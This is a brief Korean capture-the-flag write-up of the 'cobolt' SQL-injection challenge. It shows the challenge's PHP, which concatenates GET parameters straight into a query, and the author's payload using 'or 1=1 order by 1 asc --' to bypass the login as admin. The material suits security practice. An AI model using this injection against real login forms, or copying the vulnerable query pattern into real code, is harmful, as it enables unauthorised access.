include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob||.|()/i', $_GET[id])) exit("No Hack ~~");
if(preg_match('/prob||.|()/i', $_GET[pw])) exit("No Hack ~~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "
query : {$query}
";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "
Hello {$result['id']}
You are not admin :(
";
highlight_file(FILE);
?>
이거도 그냥 간단히 넘어보려고 다음과 같이 쿼리를 짰다
select id from prob_cobolt where id='1' and pw=md5('1') or 1=1 order by 1 desc -- a')
근데 리턴되는 값이 이상하다.
Hello rubiya You are not admin :(
컬럼에 하나만 있을 줄 알았더니 몇개가 더 있나보다. 한 두개쯤 있을 것 같으니 (아마 세개째부터는 생각을 해야될것 같지만)
select id from prob_cobolt where id='1' and pw=md5('1') or 1=1 order by 1 asc -- a')
이런식으로 현재 select 되는 row가 아닌 다른 row를 선택되게 바꿔주면 pass